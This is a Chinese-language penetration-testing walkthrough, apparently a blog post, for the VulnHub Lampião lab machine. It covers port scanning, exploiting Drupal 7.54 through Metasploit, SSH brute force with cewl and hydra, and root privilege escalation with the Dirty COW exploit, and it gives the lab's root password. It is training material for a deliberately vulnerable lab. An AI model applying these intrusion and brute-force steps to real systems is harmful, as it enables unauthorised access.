当前位置: 首页 > news >正文

vulnhub-lampiao靶机渗透

一、靶场详情

Lampião 靶场是一个面向 渗透测试练习 的靶机环境,收录在 VulnHub平台上。它的名字来自巴西著名的匪首 Lampião(Lampião 是葡萄牙语“油灯”的意思)。

  • vulnhub 官网:Vulnerable By Design ~ VulnHub
  • 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM

配置介绍:

  • kali:192.168.245.131
  • 靶场:192.168.245.144 #在 kali 中用命令 arp-scan -l 可扫描出来

启动靶机,若出现如下界面,靶机启动成功。

二、信息收集

      使用 nmap 对靶机 ip 进行扫描,通过扫描结果可知开启了 22 和 80 端口,22 是 ssh 进行远程登录的,80 是 http 协议。

nmap 常用语法:

  • nmap -sS <IP>              SYN 扫描(半开扫描,默认且最常用,隐蔽)。
  • nmap -sS -sV -O <IP> SYN 扫描 + 服务版本探测 + 系统识别。
  • nmap -A <IP>                一键化扫描:版本探测、OS 探测、traceroute、脚本扫描。
  • nmap -p- <IP>              扫描全部端口,-p- 表示扫描 1-65535 端口的简写

     这里需要注意,由于 nmap 默认扫描端口的范围是 1-1000,所以我们需要进行全端口扫描。

nmap -p- 192.168.245.144

通过扫描可以看到还有一个 1898 端口。

访问 80 端口:发现没什么用。

访问 1898 端口发现一个页面

通过 dirsearch 扫描目录发现了 robots.txt 文件,进行访问,发现泄露了敏感文件 CHANGELOG.txt。

访问CHANGELOG.txt 文件,发现该网站框架为 Drupal 版本为 7.54

三、 漏洞利用

思路 1:1898 端口

通过 1898 端口 web 服务泄露的版本信息,可以使用 msf 查看是否有该框架的漏洞信息。可以使用第 1 个,根据上述日志可知该服务启动的时间是 2017 年,第一个爆出漏洞的时间是 2018 年。可以使用该漏洞进行尝试。

  • use 1 使用第一个
  • show options 查看需要配置的参数

由以下图可知,需要配置目标 ip 和端口,使用 set 进行配置

如果进入 meterpreter,则表示漏洞利用成功。

输入 shell,进入命令交互模式。不过这里是一个伪shell,是不会回显信息的,所以我们来执行下面这个语句。

python -c 'import pty; pty.spawn("/bin/bash")'

可知当前用户是 www-data,接下来要做的就是提权。

思路 2:22 端口

22端口是 SSH(Secure Shell) 服务的默认端口。主要用于 远程登录 和 远程命令执行。

访问 1898 页面,点击图片发现路径为?q=node/1,将 1 改为 2,可以得到两个文件,audio.m4a 和 qrc.png,路径访问 audio.m4a 听到 tiago,得到用户名为 tiago。

接下来使用cewl来生成一份结合网站目标的社工性质的密码字典。

cewl http://192.168.245.144:1898 -w /home/kali/Desktop/lampiao/dict.txt

然后使用 hydra 进行爆破。 得到 ssh 的登录密码。

cewl http://192.168.245.144:1898 -w /home/kali/Desktop/lampiao/dict.txt

hydra [登录选项] [破解选项] [目标地址] [服务模块]

# -l 用户名

# -P 爆破用的字典的路径,注意是大写 P,小写 p 仅代表爆破一个值。

# 192.168.245.144 爆破的地址

# ssh 表示 ssh 爆破。

使用 ssh 进行连接。

ssh tiago@192.168.245.144

进入 shell 交互页面,为 tiago 用户,接下来需要进行权限提升。

四、提升权限

使用工具Linux_Exploit_Suggester

Linux_Exploit_Suggester是一款根据Linux操作系统版本号自动查找相应提权脚本的工具,旨在帮助检测给定 Linux 内核/基于 Linux 的机器的安全缺陷。

对于工具检测出的每个漏洞,都会计算其存在的可能性:

  • Highly probable:评估的内核很可能受到影响,并且 PoC 漏洞利用很有可能不用在任何重大修改的情况下开箱即用
  • Probable:漏洞利用可能会起作用,但很可能需要定制 PoC 漏洞利用以适合目标使用
  • Less probable:需要额外的手动分析来验证内核是否受到影响
  • Unprobable:内核极不可能受到影响(漏洞利用不会显示在工具的输出中)

github 地址:https://github.com/The-Z-Labs/linux-exploit-suggester

将其下载到 kali 中的脚本文件夹中,在此文件夹下开启 http 服务。这样靶机可以访问 kali 中该文件夹下的脚本文件并下载到本地。

python -m http.server 8081

在 kali 中用 ssh 或 meterpreter 连接靶机的窗口中,使用 wget 下载脚本到 tiago 用户中,或者直接从 github 上下载到靶机中。

wget http://192.168.245.131/les.shwget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh​

给该文件赋予执行权限,然后执行。

chmod +x les.sh./les.sh

经过测试以及上网查询,发现这个dirty(脏牛)可以进行提权

直接使用 searchsploit 搜索 dirty

或者在网上搜索cve-2016-5195exp

将40847.cpp文件复制到当前 kali/lampiao 目录下。

在连接 ssh 的窗口中,继续使用 wget 把该文件下载到靶机中。

下载成功。

对该文件进行编译,然后执行。得到 root 用户的密码。

g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

这条命令是 用 g++ 把 40847.cpp 编译为可执行文件 40847
启用 C++11 标准,开启多线程支持,进行 O2 优化,并在链接阶段加入 libutil 库

# GNU C++ 编译器,用来编译 .cpp 文件

# -O2 较高级的优化(常用,在保持编译速度的同时生成更快的代码)

# -std=c++11 指定 C++ 标准为 C++11

# -pthread 打开 POSIX 线程库(pthread)

# -o 40847 指定输出的可执行文件名为 40847。如果不写,默认会生成 a.out

# 40847.cpp要编译的源代码文件

# -lutil 链接时使用 libutil 库(-lxxx 表示链接 libxxx.solibxxx.a)。

用 g++ 把 40847.cpp 编译为可执行文件 40847
启用 C++11 标准,开启 多线程支持,进行 O2 优化,并在链接阶段加入 libutil 库。

执行文件得到 root 的密码。

./40847

五、获取 root 权限

使用 ssh 登录 root,账号:root,密码:dirtyCowFun,得到 flag

ssh root@192.168.245.144

http://www.dtcms.com/a/336380.html

相关文章:

  • 002.Redis 配置及数据类型
  • 安装pytorch3d后报和本机cuda不符
  • LLM、RAG、Agent知识点思维导图
  • 简单了解BeanFactory和FactoryBean的区别
  • AMBA-AXI and ACE协议详解(八)
  • Critic-V: VLM Critics Help Catch VLM Errors in Multimodal Reasoning(CVPR 2025)
  • C++零拷贝网络编程实战:从理论到生产环境的性能优化之路
  • Word和Excel的一些功能记录
  • PHP现代化全栈开发:测试驱动开发与持续交付实践
  • 重温k8s基础概念知识系列二(Pod)
  • 腾讯开源:视频生成框架Hunyuan-GameCraft
  • 说一下事件传播机制
  • LeeCode 39.组合总和
  • 第4章 鼎鼎大名的Reactor模式
  • Redis--day7--黑马点评--优惠券秒杀
  • steam_api64.dll丢失?steam_api64.dll修复工具
  • 837. 新 21 点
  • C语言基础:(十六)深入理解指针(6)
  • 在鸿蒙里优雅地处理网络错误:从 Demo 到实战案例
  • 基于粒子群优化算法优化支持向量机的数据回归预测 PSO-SVM
  • Java实战:数字转中文大写金额的完整实现与优化技巧
  • 偏最小二乘结构方程(PLS-SEM)_TomatoSCI分析日记
  • bash shell 入门
  • rt-thread audio框架移植stm32 adc+dac,对接cherryusb uac,进行录音和播放
  • RTC之神奇小闹钟
  • 弱类型语言(Strong Typing)与强类型语言(Weak Typing)(描述语言对变量类型处理的严格程度)
  • 【Virtual Globe 渲染技术笔记】7 GPU 光线投射
  • 法拉第笼原理
  • Windows快捷方式添加命令行参数
  • 【备忘】superdesign如何使用?(UI设计)